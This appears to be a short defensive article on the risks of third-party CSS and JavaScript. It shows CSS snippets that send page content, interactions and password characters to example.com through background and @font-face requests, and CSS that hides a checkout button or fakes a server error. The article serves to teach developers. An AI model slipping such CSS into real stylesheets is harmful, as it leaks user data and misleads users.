Security Risks of Third‑Party CSS and JavaScript in Web Development

When building web applications, developers often rely on third‑party libraries, images, and scripts to speed up development, but this practice can introduce serious security threats.

Image resources may become unavailable or be replaced, affecting only the visual element without breaking the rest of the page.

Example of a vulnerable image tag: <img src="https://img.com/phone.jpg"> Script resources have a much larger attack surface because they can read and modify the entire DOM, monitor user behavior, mine cryptocurrency, exfiltrate cookies, and tamper with localStorage. Even if a script is later removed, changes to persistent storage remain.

Example of a malicious script tag:

<script src="http://example.com/script.js"></script>

Third‑party CSS is often overlooked, yet it can manipulate page content, issue network requests, and respond to user interactions, achieving effects similar to JavaScript.

Typical CSS capabilities demonstrated:

Insert, delete, or modify page elements.

Trigger requests based on page content.

React to user actions such as hover or click.

Unlike JavaScript, CSS cannot directly access storage or perform mining, but it can still be used for malicious purposes.

Keyboard logger example (React‑based) shows how an input ending with the character p can cause a hidden request to //example.com/password?p without the browser storing the password.

Code snippet:

input[type="password"][value$="p"]{ /* malicious payload */ }

Hidden content can be achieved by setting display:none or using pseudo‑elements to show fake HTTP error messages, misleading users about the page’s state.

Example:

body { display:none; }

html::after { content:'HTTP 500 Server Error'; }

Adding content via pseudo‑elements can inflate prices or alter UI text, e.g., appending a digit to a price value: .price-value::after { content:'9'; } Moving content uses opacity:0 and absolute positioning to hide a checkout button while keeping it in the layout, preventing users from completing a purchase.

Code example:

.move-purchase-button { opacity:0; position:absolute; top:100px; left:100px; }

Monitoring user interaction can be done with CSS selectors that change background images on :hover or :active, sending different requests for each state.

Code example:

.login-button:hover { background:url('//example.com/login-button-hover'); }

.login-button:active { background:url('//example.com/login-button-active'); }

Similar techniques can be applied to links to record click events:

.link:active::after { content:url('//example.com/link-1/view/count.php?action=visit'); }

Reading page content via @font‑face rules can trigger network requests when a specific Unicode range (e.g., the character q) is used.

Example:

@font-face { src:url('//example.com/page-contains-q') format('woff'); unicode-range:U+71; }

Enabling OpenType ligatures allows detection of particular character sequences such as the ff ligature ( \ufb00).

Code to enable ligatures: body { font-feature-settings:"liga" 1; } Overall, the article demonstrates that third‑party CSS can be as powerful—and as dangerous—as JavaScript, and developers should avoid blindly trusting external stylesheets.

Conclusion : Write and audit your own CSS to prevent hidden attacks and maintain control over the user experience.